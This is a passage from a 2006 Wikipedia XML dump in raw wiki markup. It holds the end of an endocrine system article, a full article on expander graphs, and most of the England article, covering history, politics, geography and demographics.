Organs aren't the sole way for hormones to be sent into the body; there are a host of specific cells which secrete hormones independently. These are called the &quot;diffuse&quot; endocrine system, and include [[myocytes]] in the heart (atria) and [[epithelial cell]]s in the stomach and small intestines. In fact, if one were to classify ''any'' chemical excretions in the term &quot;hormone,&quot; every cell in the human body could be considered a part of the endocrine system.

==See also==
* [[receptor (proteomics)|Receptors]]
* [[Releasing hormone]]s
* [[Nervous system]]
* [[Endocrine disruptor]]
* [[Neuroendocrinology]]
* [[Endocrinology]]
* [[Hormones]]

{{endocrine_system}}
{{organ_systems}}


[[Category:Endocrine system]]

[[ca:Sistema endocrí]]
[[cs:Soustava žláz s vnitřní sekrecí]]
[[da:Endokrine system]]
[[de:Endokrines System]]
[[es:Sistema endocrino]]
[[fr:Endocrinologie]]
[[it:Sistema endocrino]]
[[lt:Endokrininė sistema]]
[[mk:Ендокрин систем]]
[[nl:Endocrien systeem]]
[[ja:内分泌器]]
[[pt:Sistema endócrino]]
[[ru:Эндокринная система]]
[[sk:Endokrinná sústava]]
[[sl:Endokrini sistem]]
[[sr:Ендокрини систем]]
[[es:Glándulas de secreción interna]]
[[fr:Glande endocrine]]
[[lt:Endokrininė liauka]]
[[pt:Glândula endócrina]]</text>
    </revision>
  </page>
  <page>
    <title>Expander graph</title>
    <id>9313</id>
    <revision>
      <id>38015045</id>
      <timestamp>2006-02-03T16:41:25Z</timestamp>
      <contributor>
        <username>Tromer</username>
        <id>46026</id>
      </contributor>
      <minor />
      <comment>wikilink</comment>
      <text xml:space="preserve">In [[combinatorics]], an '''expander [[graph theory|graph]]''' refers to a [[sparse graph]] which has high [[connectivity (graph theory)|connectivity]] properties, quantified using [[vertex]] or [[edge (graph_theory)|edge]] expansion as described below. Expander constructions have spawned research in pure and applied mathematics, with several applications to [[computer science]], and in particular to [[theoretical computer science]], design of robust [[computer network]]s and the theory of [[error-correcting code]]s.

==Definitions==

There are several different ways to measure the expansion properties of a finite, undirected [[multigraph]] &lt;math&gt;G&lt;/math&gt;.

===Edge expansion===  
The edge expansion &lt;math&gt;h(G)&lt;/math&gt; of a graph &lt;math&gt;G&lt;/math&gt; is defined as
:&lt;math&gt;h(G) = \min_{1 \le |S|\le \frac{n}{2} } \frac{|\partial(S)|}{|S|}&lt;/math&gt; 
where the minimum is over all nonempty sets &lt;math&gt;S&lt;/math&gt; of at most &lt;math&gt;n/2&lt;/math&gt; vertices, and &lt;math&gt;\partial(S)&lt;/math&gt; stands for the set of edges with exactly one endpoint in &lt;math&gt;S&lt;/math&gt;.

===Vertex expansion=== 
The &lt;math&gt;\alpha&lt;/math&gt;-vertex expansion &lt;math&gt;g_\alpha(G)&lt;/math&gt; of a graph &lt;math&gt;G&lt;/math&gt; is defined as
:&lt;math&gt;g_\alpha(G) = \min_{1 \le |S|\le \alpha{n}} \frac{|\Gamma(S)|}{|S|}&lt;/math&gt;
where &lt;math&gt;\Gamma(S)&lt;/math&gt; stands for the set of vertices with at least one neighbor in &lt;math&gt;S&lt;/math&gt;.  In a variant of this definition (called ''unique neighbor expansion'')
&lt;math&gt;\Gamma(S)&lt;/math&gt; stands for the set of vertices in &lt;math&gt;V&lt;/math&gt; with ''exactly'' one neighbor in &lt;math&gt;S&lt;/math&gt;.

===Spectral expansion=== 
When &lt;math&gt;G&lt;/math&gt; is [[regular graph|regular]], a [[linear algebra]]ic definition of expansion is possible based on the [[Eigenvalue#Eigenvalues_of_matrices|eigenvalues]] of the [[adjacency matrix]] &lt;math&gt;A=A(G)&lt;/math&gt; of &lt;math&gt;G&lt;/math&gt; (where &lt;math&gt;A_{ii}&lt;/math&gt; is the number of loops at the &lt;math&gt;i&lt;/math&gt;th vertex).  Because &lt;math&gt;A&lt;/math&gt; is [[symmetric matrix|symmetric]], the [[Spectral theorem]] implies that &lt;math&gt;A&lt;/math&gt; has &lt;math&gt;n&lt;/math&gt; real-valued eigenvalues &lt;math&gt;\lambda_0 \ge \lambda_1 \ge \ldots \ge \lambda_{n-1}&lt;/math&gt;.  Because &lt;math&gt;G&lt;/math&gt; is regular, &lt;math&gt;\lambda_0=d&lt;/math&gt; where &lt;math&gt;d&lt;/math&gt; is the [[degree (graph theory)|degree]] of regularity of &lt;math&gt;G&lt;/math&gt;. In some contexts, the [[spectral gap]] of &lt;math&gt;G&lt;/math&gt; is defined to be &lt;math&gt;d-\lambda_1&lt;/math&gt;.  In other contexts, the spectral gap refers to &lt;math&gt;d-\lambda&lt;/math&gt;, where &lt;math&gt;\lambda=\max\{|\lambda_1|,\ldots, |\lambda_{n-1}|\}&lt;/math&gt;.

===Expander families===
A family &lt;math&gt;\mathcal{G} = \{G_1, G_2, \ldots \}&lt;/math&gt; of &lt;math&gt;d&lt;/math&gt;-regular graphs is an edge expander family if there is a constant &lt;math&gt;c &gt; 0&lt;/math&gt; such that &lt;math&gt;h(G) \ge c&lt;/math&gt; for each &lt;math&gt;G \in \mathcal{G}&lt;/math&gt;.  Similarly, &lt;math&gt;\mathcal{G}&lt;/math&gt; is a vertex expander family if there is a constant &lt;math&gt;c &gt; 1&lt;/math&gt; such that &lt;math&gt;g_{1/2}(G) \ge c&lt;/math&gt; for each &lt;math&gt;G \in \mathcal{G}&lt;/math&gt;, and &lt;math&gt;\mathcal{G}&lt;/math&gt; is a spectral expander family if some positive constant is a lower bound for the spectral gap of each &lt;math&gt;G \in \mathcal{G}&lt;/math&gt;.

These definitions can be extended to the case of [[directed graph]]s. A directed graph can also be interpreted as a ''balanced'' [[bipartite graph]] (with all edges going from one copy of &lt;math&gt;V&lt;/math&gt; to another copy). The definition of bipartite expanders can further be generalized to the case of ''unbalanced'' bipartite graphs.

==Relationship between the different definitions==
The expansion parameters defined above are related to each other. In particular, for any graph &lt;math&gt;G&lt;/math&gt;, &lt;math&gt;h(G) \ge g_{1/2}(G) - 1&lt;/math&gt;.  Consequently, every vertex expander family is also an edge expander family.

Similarly, when &lt;math&gt;G&lt;/math&gt; is &lt;math&gt;d&lt;/math&gt;-regular, there is a relationship between &lt;math&gt;h(G)&lt;/math&gt; and the spectral gap &lt;math&gt;d - \lambda_1&lt;/math&gt; of &lt;math&gt;G&lt;/math&gt;.  An inequality due to &quot;Cheeger and Buser in the continuous case and Tanner, Alon, and Milman in the discrete case&quot; [http://www.math.ias.edu/~boaz/ExpanderCourse/lecture02.ps] states that
: &lt;math&gt;\frac{1}{2}(d - \lambda_1) \le h(G) \le \sqrt{2d(d - \lambda_1)}&lt;/math&gt;
As a result, a family &lt;math&gt;\mathcal{G}&lt;/math&gt; of graphs is an edge expander family if and only if &lt;math&gt;\mathcal{G}&lt;/math&gt; is a spectral expander family.

==Examples of expanders==

A [[random]] &lt;math&gt;d&lt;/math&gt;-regular graph has good expansion, with high probability. [[Ramanujan graph]]s are a family of &lt;math&gt;d&lt;/math&gt;-regular expander graphs, with explicit constructions, that have essentially the largest possible spectral gap. [[Abstract algebra|Algebraic]] constructions based on [[Cayley graph]]s are known for various variants of expander graphs. Combinatorial constructions using [[graph product]]s are also known.

===Applications===
Expander graphs have found extensive applications in [[computer science]], in designing [[algorithm]]s, [[error correcting code]]s, [[extractor]]s, [[pseudorandomness generator]]s, [[sorting network]]s and robust [[computer network]]s. They have also been used in proving many important results in [[computational complexity theory]], such as [[SL (complexity)|SL]]=[[L (complexity)|L]] and the [[PCP Theorem]]. In [[Cryptography]] too, expander graphs are used to construct [[hash]] functions.

== External links ==

* [http://www.qinfo.org/people/nielsen/blog/archive/notes/expander_graphs.pdf Introductory paper by Michael Nielsen]
* [http://www.math.ias.edu/~boaz/ExpanderCourse/ Lecture notes from a course on expanders]

{{Combin-stub}}

[[Category:Graphs]]
[[Category:Theoretical computer science]]</text>
    </revision>
  </page>
  <page>
    <title>England</title>
    <id>9316</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>42089953</id>
      <timestamp>2006-03-03T19:34:41Z</timestamp>
      <contributor>
        <username>W.marsh</username>
        <id>319357</id>
      </contributor>
      <minor />
      <comment>/* History */ link [[Celt]]</comment>
      <text xml:space="preserve">{{otheruses}}
{| border=1 align=right cellpadding=4 cellspacing=0 width=300 style=&quot;margin: 0 0 1em 1em; background: #f9f9f9; border: 1px #aaaaaa solid; border-collapse: collapse; font-size: 95%;&quot;
|+&lt;big&gt;&lt;big&gt;'''England'''&lt;/big&gt;&lt;/big&gt; 
|-
| style=&quot;background:#efefef;&quot; align=&quot;center&quot; colspan=2 |
{| border=&quot;0&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; style=&quot;padding-top: 0.5em;&quot;
|-
| align=&quot;center&quot; width=&quot;170px&quot; | {{border|[[Image:Flag of England.svg|English Flag|170px]]}}
| align=&quot;center&quot; width=&quot;110px&quot; | [[Image:Armsofengland.png|English Coat of Arms]]
|-
| align=&quot;center&quot; width=&quot;170px&quot; | &lt;small&gt;([[Flag of England|Flag]])&lt;/small&gt;
| align=&quot;center&quot; width=&quot;110px&quot; | &lt;small&gt;([[Coat of arms of England|Coat of Arms]])&lt;/small&gt;
|}
|-
| align=&quot;center&quot; colspan=2 | &lt;small&gt;''[[Motto|Royal motto]] ([[French language|French]]): [[Dieu et mon droit]]&lt;br /&gt;(Translated: &quot;God and my right&quot;)''&lt;/small&gt;
|-
| align=center colspan=2 style=&quot;background: #ffffff;&quot; | [[Image:LocationEngland.PNG|England's location within Europe]]
|-
| align=center colspan=2 style=&quot;background: #ffffff;&quot; | [[Image:UK england.png|180px|England's location within the British Isles]]&lt;br&gt;&lt;small&gt;England's location within the British Isles&lt;/small&gt;
|-
| '''[[Official language]]'''
| [[English English|English]] ''[[de facto]]''
|-
| '''Capital'''
| [[London]] ''de facto''
|-
| '''Largest city'''
| [[London]]
|-
| '''[[Area]]'''&lt;br&gt; &amp;ndash; Total
| [[List of United Kingdom nations by area|Ranked 1st UK]]&lt;br&gt; [[1 E11 m²|130,395]] [[square kilometre|km²]]
|-
| '''[[Population]]'''&lt;br&gt; &amp;ndash; Total (mid-[[2004]])&lt;br&gt; &amp;ndash; Total (2001 Census)&lt;br&gt; &amp;ndash; [[Population density|Density]]
| [[List of United Kingdom nations by population|Ranked 1st UK]]&lt;br&gt;50.1 million&lt;br&gt;49,138,831&lt;br&gt;377/km²
|-
| '''Unification'''
| [[927]] by&lt;br /&gt;[[Athelstan]]
|-
| '''[[Currency]]'''
| [[Pound sterling]] (£) (GBP)
|-
| '''[[Time zone]]'''
| [[Coordinated Universal Time|UTC]] / [[Greenwich Mean Time|(GMT)]]&lt;br /&gt;[[British Summer Time|Summer: UTC +1 (BST)]]
|-
| '''[[National anthem]]s '''
| None officially&lt;br&gt;''[[#National anthems|see below]]''
|-
| '''[[National flower]] '''
| ''the [[Tudor rose|Tudor]] [[rose]] (red, white)''
|-
| '''[[Patron saint]] '''
| ''[[St. George|St George]]''
|}
'''England''' is the most populous [[home nation]] of the [[United Kingdom]]. It accounts for more than 83% of the total UK population, occupies most of the southern two-thirds of the island of [[Great Britain]] and shares land borders with [[Scotland]], to the north, and [[Wales]], to the west. Elsewhere, it is bordered by the [[North Sea]], [[Irish Sea]], [[Atlantic Ocean]] and [[English Channel]].

England is named after the [[Angles]], one of a number of [[Germanic tribes]] believed to have originated in [[Angeln]] in Northern [[Germany]], who settled in England in the [[5th century|5th]] and [[6th century|6th]] centuries. This is also the origin of its [[Latin (language)|Latin]] name ''Anglia''. It has not had a distinct political identity since [[1707]], when [[Kingdom of Great Britain|Great Britain]] was established as a unified political entity; however, it has a legal identity separate from those of [[Scotland]] and [[Northern Ireland]], as part of the entity &quot;[[England and Wales]]&quot;.  England's largest city, [[London]], is also the capital of the [[United Kingdom]].

==History==

''Main article: [[History of England]]''

England has been inhabited for at least 50,000 years, although the repeated [[Ice Ages]] made much of Britain uninhabitable for extended periods until as recently as 20,000 years ago. [[Stone Age]] hunter-gatherers eventually gave way to farmers and permanent settlements, with an advanced [[megalithic]] civilization arising in western England some 4,000 years ago. It was replaced around 1,500 years later by [[Celt]]ic tribes migrating from Western and continental Europe, mainly from France. These tribes were known collectively as &quot;Britons&quot;, a name bestowed by [[Phoenicia]]n [[trade]]rs &amp;mdash; an indication of how, even at this early date, the island was part of a Europe-wide trading network.

The Britons were significant players in continental affairs and supported their allies in [[Gaul]] militarily during the [[Gallic Wars]] with the [[Roman Republic]]. This prompted the Romans to invade and subdue the island, first with [[Julius Caesar]]'s raid in [[55 BC]], and then the Emperor [[Claudius]]' conquest in the following century. The whole southern part of the island &amp;mdash; roughly corresponding to modern day England and [[Wales]] &amp;mdash; became a prosperous part of the [[Roman Empire]]. It was finally abandoned early in the 5th century when a weakening Empire pulled back its legions to defend borders on the Continent.

Unaided by the Roman army, Roman Britannia could not long resist the Germanic tribes who arrived in the [[5th century|5th]] and [[6th century|6th]] centuries, enveloping the majority of modern day England in a new culture and language and pushing Romano-British rule back into modern-day [[Wales]] and western extremities of England, notably [[Cornwall]] and [[Cumbria]]. Others emigrated across the channel to modern-day [[Brittany]], thus giving it its name and language ([[Breton language|Breton]]). But many of the Romano-British remained in and were assimilated into the newly English areas.

The invaders fell into three main groups: the [[Jutes]], the [[Saxons]], and the [[Angles]]. As they became more civilised, recognisable states formed and began to merge with one another. (The most well-known state of affairs being the Anglo-Saxon [[heptarchy]].) From time to time throughout this period, one Anglo-Saxon king, recognised as the &quot;[[Bretwalda]]&quot; by other rulers, had effective control of all or most of the English; so it is impossible to identify the precise moment when the [[Kingdom of England]] was unified. In some sense, real unity came as a response to the Danish [[Viking]] incursions which occupied the eastern half of &quot;England&quot; in the 8th century. [[Egbert of Wessex|Egbert]], King of [[Wessex]] (d. [[839]]) is often regarded as the first king of all the English, although the title &quot;King of England&quot; was first adopted, two generations later, by [[Alfred the Great]] (ruled [[871]]&amp;ndash;[[899]]).

The principal legacy left behind in those territories from which the languages of the Britons were displaced is that of toponyms. Many of the place-names in England and to a lesser extent Scotland are derived from Celtic British names, including London, Dumbarton, York, Dorchester, Dover and Colchester. Several place-name elements are thought to be wholly or partly Brythonic in origin, particularly bre-, bal-, and -dun for hills, carr for a high rocky place, coomb for a small deep valley.

From this age, where the majority culture and language came to be that of a Germanic origin - Old English. We can piece together how England came to be created and have the Welsh legacy of their meaning for England &quot;Lloegr&quot; translated as &quot;lost lands&quot;.

Until recently it has been believed that those areas settled by the Anglo-Saxons were uninhabited at the time or the Britons had fled before them. However, genetic studies show that the British may not have been pushed out to the Celtic fringes &amp;ndash; many tribes remained in what was to become England (see C. Capelli et al. ''A Y chromosome census of the British Isles''. Current Biology 13, 979–984, (2003)). Capelli's findings strengthen the research of Steven Bassett of the [[University of Birmingham]]; his work during the 1990s suggests that much of the West Midlands was only lightly colonised with Anglian and Saxon settlements.

&lt;div class=&quot;thumb tright&quot;&gt;
&lt;div style=&quot;width:252px; background-color: red&quot;&gt;
&lt;div style=&quot;width:240px;&quot; style=&quot;font-family: times, serif; font-size: 12px; font-style: italic; background-color: #ffffff&quot;&gt;
This royal throne of kings, this sceptred isle,&lt;br&gt;
This earth of  majesty, this seat of Mars,&lt;br&gt;
This other Eden, demi-paradise,&lt;br&gt;
This fortress built by Nature for herself&lt;br&gt;
Against infection and the hand of war,&lt;br&gt;
This happy breed of men, this little world,&lt;br&gt;
This precious stone set in  the silver sea,&lt;br&gt;
Which serves it in the office of a wall&lt;br&gt;
Or as a moat defensive to a house,&lt;br&gt;
Against the envy of less happier lands,&amp;mdash;&lt;br&gt;
This blessed plot, this earth, this realm, this England.&lt;br&gt;
&lt;div style=&quot;font-weight: bold; width: 95%;&quot;&gt;[[William Shakespeare]]&lt;br&gt;
''[[Richard II (play)|Richard II]]'' (Act 2, Scene 1)&lt;/div&gt;
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&lt;div style=&quot;width:240px;&quot; style=&quot;font-family: times, serif; font-size: 12px; font-style: italic; background-color: #ffffff&quot;&gt;
The English are great lovers of themselves, and of everything belonging to them; they think that there are no other men than themselves, and no other world but England; and whenever they see a handsome foreigner, they say that 'he looks like an Englishman', and that 'it is a great pity that he should not be an Englishmen'.&lt;br&gt;
&lt;div style=&quot;font-weight: bold; width: 95%;&quot;&gt;Venetian ambassador to England&lt;br&gt;Early 16th century&lt;br&gt;Charlotte Augusta Sneyd&lt;br&gt;&lt;u&gt;Italian Relations of England&lt;/u&gt; (p. 20)&lt;/div&gt;
&lt;/b&gt;&lt;/font&gt;
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&lt;/div&gt;

[[Image:Bayeuxtap1.jpg|thumb|200px|right|The Norman conquest of England, as depicted in the [[Bayeux Tapestry]]]]
[[Image:Elizabeth I (Ermine Portrait).jpg|thumb|175px|right|[[Elizabeth I of England|Queen Elizabeth I]]]]

In [[1066]], [[William I of England|William the Conqueror]] and the Normans [[Norman Conquest|conquered]] the existing Kingdom of England and instituted an [[Anglo-Norman]] administration and nobility who, retaining proto-French as their language for the next three hundred years, ruled as custodians over English commoners. Although the language and racial distinctions faded rapidly during the middle ages, the class system born in the Norman/Saxon divide persisted longer &amp;mdash; arguably with traces lasting to the modern day.

While [[Old English language|Old English]] continued to be spoken by common folk, Norman feudal lords significantly influenced the language with French words and customs being adopted over the succeeding centuries evolving to a Germano‐Romance [[creole language|creole]] now known as [[Middle English]] widely spoken in Chaucer's time.

England came repeatedly into conflict with [[Wales]] and [[Scotland]], at the time an independent principality and an independent kingdom respectively, as its rulers sought to expand Norman power across the entire island of Britain. The conquest of Wales was achieved in the 13th century, when it was annexed to England and gradually came to be a part of that kingdom for most legal purposes, although in the modern era it is more usually thought of as a separate [[nation]] (fielding, for example, its own athletic teams). Norman power in Scotland waxed and waned over the years, with the Scots managing to maintain a varying degree of independence despite repeated wars with the English. Although it was on the whole only a moderately successful power in military terms, England became one of the wealthiest states in medieval Europe, due chiefly to its dominance in the lucrative [[wool]] market.

The failure of English territorial ambitions in continental Europe prompted the kingdom's rulers to look further afield, creating the foundations of the mercantile and colonial network that was to become the [[British Empire]]. The turmoil of the [[Reformation]] embroiled England in religious wars with Europe's Catholic powers, notably [[Spain]], but the kingdom preserved its independence as much through luck as through the skill of charismatic rulers such as [[Elizabeth I of England|Elizabeth I]]. Elizabeth's successor, [[James I of England| James I]] was already king of Scotland (as James VI); and this personal union of the two crowns into the crown of Great Britain was followed a century later by the [[Act of Union 1707]], which formally unified England, Scotland and Wales into the [[Kingdom of Great Britain]]. This later became the [[United Kingdom of Great Britain and Ireland]] (1801 to 1927) and then the modern state of the [[United Kingdom|United Kingdom of Great Britain and Northern Ireland]] (1927 to present)

For post-unification history, see [[history of the United Kingdom]].

==Politics==

''Main article: [[Politics of the United Kingdom]], [[Government of England]]''

Since the promulgation of the 1284 [[Statute of Rhuddlan]] and the [[Laws in Wales Acts 1535-1542]], [[Wales]] has shared a legal identity with England as the joint entity of [[England and Wales]]. The [[Act of Union 1707|Act of Union]] with the Kingdom of [[Scotland]] in 1707 created the [[Kingdom of Great Britain]], subsuming England, Wales and Scotland into a single political entity. Scotland, along with Northern Ireland, retain separate legal systems. The [[Duchy of Cornwall]] and [[Duchy of Lancaster]] also retain some unique rights.

All of Great Britain has been ruled by the government of the [[United Kingdom]] since that date, although in 1999 the first elections to the newly created [[Scottish Parliament]] and [[National Assembly for Wales]] left England as the only part of the Union with no devolved assembly or parliament. As all legislation for England is passed by Parliament at Westminster there are some complaints about the ability of non-English Members of Parliament to influence purely English affairs. This apparent anomaly has been highlighted by both English and non-English politicians, often those opposed to [[devolution]], has become popularly known as the [[West Lothian question]].

Administratively, England is something of an anomaly within the UK. Unlike the other three nations, it has no local parliament or government and its administrative affairs are dealt with by a combination of the UK government, the UK parliament and a number of England-specific [[quango]]s, such as [[English Heritage]]. There are calls from an increasing number for a [[devolved English Parliament]] and from others for the dissolution of the UK and an independent England.

The current [[British Labour Party|Labour]] government favoured the establishment of regional administration, claiming that England was too large to be governed as a sub-state entity. A [[Northern England referendums, 2004|referendum]] on this issue in [[North East England]] on [[4 November]] [[2004]] decisively rejected the proposal.

Some criticised the English regional proposals for not [[decentralisation|decentralising]] enough, saying that they amounted not to devolution, but to little more than local government reorganisation, with no real power being removed from central government. The English regions would not even have had the limited powers of the [[Welsh Assembly]], much less the tax-varying and legislative powers of the [[Scottish Parliament]]. Rather, power was simply re-allocated within the region, with little new resource allocation and no real prospects of Assemblies being able to change the pattern of regional aid. Responsibility for regional transport was added to the proposals late in the process. This was perhaps crucial in the North East, where resentment at the [[Joel Barnett, Baron Barnett|Barnett Formula]], which delivers greater regional aid to adjacent [[Scotland]], was a significant impetus for the North East devolution campaign. There has also been a campaign for a Cornish assembly along Welsh lines by groups such as [[Mebyon Kernow]], which recently collected 50,000 signatures in support.

Some [[euroscepticism|eurosceptics]] believe that the establishment of English regions as administrative entities is designed to undermine the concept of English nationhood and more easily fit England into a European federal model.

Conventionally the national capital of England is London, although technically it would be more exact to call London the capital of &quot;England and Wales&quot; given England's lack of a distinctive political identity separate from the Principality. [[Winchester, Hampshire|Winchester]] served as the country's first national capital until some time in the late 11th century after the [[Norman Conquest]]. The City of London became England's commercial capital, while the City of Westminster (where the Royal court was located) became the political capital. These roles have, broadly speaking, been maintained to the present day.

==Subdivisions of England==

''Main article: [[Subdivisions of England]]''

Historically, the highest level of local government in England was the [[Counties of England|county]]. These divisions had emerged from a range of units of old, pre-unification England, whether they were Kingdoms, such as [[Kingdom of Essex|Essex]] and [[Sussex]]; [[Duchy|Duchies]], such as [[Yorkshire]], [[Cornwall]] and the cities, as the county lines were usually drawn up before the [[industrial revolution]] and the mass urbanisation of England.

The solution was the creation of large [[Metropolitan Counties of England|metropolitan counties]] centred on cities. These were later broken up, with several other counties, into [[Unitary authorities in England|unitary authorities]], unifying the county and district/borough levels of government.

[[London]] is a special case, and is the one [[Regions of England|region]] which currently has a representative [[Greater London Authority|authority]] as well as a directly elected [[Mayor of London|mayor]]. The 32 [[London borough|London boroughs]] and the [[Corporation of London]] remain the local form of government in the city.

Other than [[Greater London]], the official regions are:
{{col-begin}}
{{col-4}}
*[[North East England]]
*[[North West England]]
{{col-4}}
*[[Yorkshire and the Humber]]
*[[West Midlands (region)|West Midlands]]
{{col-4}}
*[[East Midlands]]
*[[East of England]]
{{col-4}}
*[[South West England]]
*[[South East England]]
{{col-end}}

Outside London the regions have very little power and are accountable to parliament, not locally elected representatives. Regional authority is placed in the hands of local assemblies appointed by the British Government.

==Geography==

''Main articles: [[Geography of the United Kingdom]], [[Geography of England]]''

[[Image:United Kingdom Satellite Image.JPG|thumb|right|A satellite view of England and Wales.]]

England comprises the central and southern two-thirds of the island of [[Great Britain]], plus offshore islands of which the largest is the [[Isle of Wight]]. It is bordered to the north by [[Scotland]] and to the west by [[Wales]]. It is closer to continental Europe than any other part of Britain, divided from France only by a 38 km (24 [[statute mile]] or 21 [[nautical mile]]) &lt;!-- source:http://www.eurotunnel.com/ukcP3Main/ukcCorporate/ukcAboutUs/ukpHistory.htm --&gt;  sea gap.

Most of England consists of rolling hills, but it is more mountainous in the north with a chain of low mountains, the [[Pennines]], dividing east and west. The dividing line between terrain types is usually indicated by the [[Tees-Exe line]]. There is also an area of flat, low-lying marshland in the east, much of which has been drained for agricultural use.

The list of England's largest cities is much debated because in [[British English]] the normal meaning of [[city]] is &quot;a continuously built-up urban area&quot;; these are hard to define and various other definitions are preferred by some people to boost the ranking of their own city. [[London]] is by far the largest English city. [[Manchester]] and [[Birmingham]] vie for second place. A number of other cities, mainly in the north of England, are of substantial size and influence. These include: [[Liverpool]], [[Leeds]], [[Newcastle upon Tyne|Newcastle]], [[Nottingham]], [[Bristol]] and [[Sheffield]] Using the standard U.S. [[city limits]] definition of a city the [[list of English districts by population|top six]] are: Birmingham, Leeds, Sheffield, Bradford, Liverpool and Manchester. Note that London is not on this list ([[Greater London]] is a [[Regions of England|region]] and the [[City of London]] is tiny), and that one of the two candidates for the status of England's &quot;second city&quot;, Manchester, is down in sixth. In the UK, this method of ranking cities is generally used only by people whose own city is promoted by it.

The [[Channel Tunnel]], near [[Folkestone]], links England to the [[Europe|European]] [[Continental Europe|mainland]]. The English/[[France|French]] border is halfway along the tunnel.

The largest harbour in England is at [[Poole]], on the south-central coast. Internationally, it is the second largest harbour in the world, although this fact is disputed (See [[harbour]]s for a list of other potential second largest harbours)

The highest temperature ever recorded in England is 38.5 [[degree Celsius|°C]] (101.3  [[Fahrenheit|°F]]) on [[August 10]], [[2003]] in [[Kent]]. [http://news.bbc.co.uk/1/hi/england/kent/3153532.stm]. The lowest temperature ever recorded in England is -26.1 [[degree Celsius|°C]] (-15.0  [[Fahrenheit|°F]]) on [[January 10]], [[1982]] near [[Newport, Shropshire|Newport]] in [[Shropshire]]. [http://www.metoffice.com/climate/uk/location/england/#temperature]

===Major rivers===
[[Image:CanalettoSomersetHouseTerrace.jpg|thumb|right|220px|View of the [[River Thames]] from the terrace at Somerset House, by [[Antonio Canaletto]].]]
* [[River Thames|Thames]]
* [[River Severn|Severn]]
* [[River Trent|Trent]]
* [[Humber]]
* [[River Ouse, Yorkshire|Yorkshire Ouse]]
* [[River Tyne, England|Tyne]]
* [[River Mersey|Mersey]]
* [[River Dee, Wales|Dee]]
* [[River Avon|Avon]]

''Main article: [[Waterways in the United Kingdom]]''

===Major conurbations===
{| align=right
| [[Image:Birmingham (UK) skyline - Centenary Square 700.jpg|thumb|220px|The City of Birmingham]]
|-
| [[Image:Liverpool skyline.jpg|thumb|220px|The City of Liverpool]]
|}
:''See main article: [[List of towns in England]]''

The largest cities in England are much debated but according to the urban area populations (continuous built up areas) these would be the 15 largest conurbations. (Population figures taken from 2001 census)

#[[Greater London]] (8,278,251)
#[[West Midlands conurbation|West Midlands]] (2,284,093)
#[[Greater Manchester]] (2,244,931) 
#[[Leeds]]/[[Bradford]] (1,499,465) 
#[[Tyneside]] (879,996) 
#[[Liverpool]] (816,216) 
#[[Nottingham]] (666,358) 
#[[Sheffield]] (640,720) 
#[[Bristol]] (551,066)
#[[Sussex coast|Brighton/Worthing/Littlehampton]] (461,181) 
#[[Portsmouth]] (442,252) 
#[[Leicester]] (441,213) 
#[[South East Dorset conurbation|Bournemouth/Poole]] (383,713) 
#[[Reading, Berkshire|Reading]] (369,804) 
#[[Teesside]] (365,323)

==Economy==

''Main article: [[Economy of England]]''

==Demographics==

''Main articles: [[Demographics of England]], [[Population of England]]''

England is both the most populous and the most ethnically diverse nation in the United Kingdom with around 49 million inhabitants, of which roughly a tenth are from non-White ethnic groups. It is one of the most densely populated countries in Europe, second only to the [[Netherlands]].

There is a debate over the extent to which the population of England (and indeed that of [[Britain]] as a whole) is composed of long-standing indigenous stock or descended from various groups of settlers and immigrants who have arrived over millennia. The traditional view that the population was largely descended from successive waves of incomers has been increasingly challenged, and DNA evidence of the contemporary connections of [[Cheddar Man]] has been cited as demonstrating that a substantial proportion of the present day population maybe descended from groups that populated the island in [[prehistory]] (''The Times'', [[8 March]] [[1997]]).

The principal waves of migration have been in c. 600 &lt;small&gt;BC&lt;/small&gt; ([[Celts]], although these days there is a strong view that the 'Celtic' culture spread to Britain through [[acculturation]] rather than migration), the [[Roman Empire|Roman]] period (garrison soldiers from throughout the Empire), 350&amp;ndash;550 ([[Angles]], [[Saxons]], [[Jutes]] and other West [[Germanic peoples|Germanic]] groups), 800&amp;ndash;900 ([[Viking]]s, [[Danes]]), 1066 ([[Normans]]), 1650&amp;ndash;1750 ([[Continental Europe|European]] refugees such as the [[Huguenot]]s), 1840&amp;ndash;1850 ([[Irish people|Irish]]), 1880&amp;ndash;1940 ([[Irish people|Irish]], [[Jew]]s), 1950&amp;mdash; ([[Irish people|Irish]], [[British Afro-Caribbean community|Caribbeans]], [[Africa]]ns, [[South Asia]]ns), 1985&amp;mdash; (citizens of [[European Community]] member states especially [[Ireland]], [[Eastern Europe|East Europeans]], [[Iran]]ians, [[Kurds]], [[refugee]]s). In 2001 the largest foreign-born elements in the British population came from the [[Republic of Ireland]] (495,000), [[India]] (466,000), [[Pakistan]] (321,000), [[Germany]] (262,000), the [[Caribbean]] (255,000) and the [[United States]] (155,000).[http://news.bbc.co.uk/1/shared/spl/hi/uk/05/born_abroad/countries/html/overview.stm]

The general prosperity of England as the largest partner of the UK, has also made it a destination for economic migrants from [[Scotland]], [[Wales]] and [[Northern Ireland]]. This segment of English [[homogeneous]] society continues to create a diverse and dynamic language that is widely used internationally. The other image of foreign ethnic components in England is still mostly seen as a legacy of the [[British Empire]]; especially the [[Commonwealth of Nations]].

==English identity==
The simplest view is that an English person is someone who is from England and holds British nationality, regardless of his or her racial origin. It has, however, been a notoriously complicated and controversial identity to delimit [http://www.guardian.co.uk/britain/article/0,2763,1237689,00.html]. This is partially because inhabitants of England quite commonly refer to themselves as &quot;British&quot; rather than &quot;English&quot;; centuries of English dominance within the United Kingdom has created a situation where to be English is, as a [[linguistics|linguist]] would put it, an &quot;unmarked&quot; state (i.e. a British person, institution, custom, city, etc. is often assumed English unless specified otherwise). The English frequently include their neighbours in the general term &quot;British&quot; while the Scots and Welsh, proud of their separate identities, tend to be more forward about referring to themselves by one of those more specific terms. Although currently a part of England, a small, but noticeable, minority of those living in [[Cornwall]] feel similarly, considering themselves ethnically [[Cornish]] first. 

English national identity is often taken to have been appropriated by [[far right]] organizations such as the [[British National Party]] or the [[English Democrats Party]]. This radicalizing of identity is often seen to be a problem. The English musician [[Morrissey]] expressed this sentiment in the lyrics of his 2004 single &quot;Irish Blood, English Heart&quot;, having been criticised as being [[racist]] when he aligned himself to the English flag in the 1990s: &quot;I've been dreaming of a time when / To be English is not to be baneful / To be standing by the flag / Not feeling shameful / Racist or partial&quot;. 

With devolution in Scotland and Wales, some English see an 'anglophobia' in British institutions. The English Democrat Party claims that the government's plans for regionalization threaten a coherent English identity [[http://www.timesonline.co.uk/article/0,,564-1883181,00.html].  

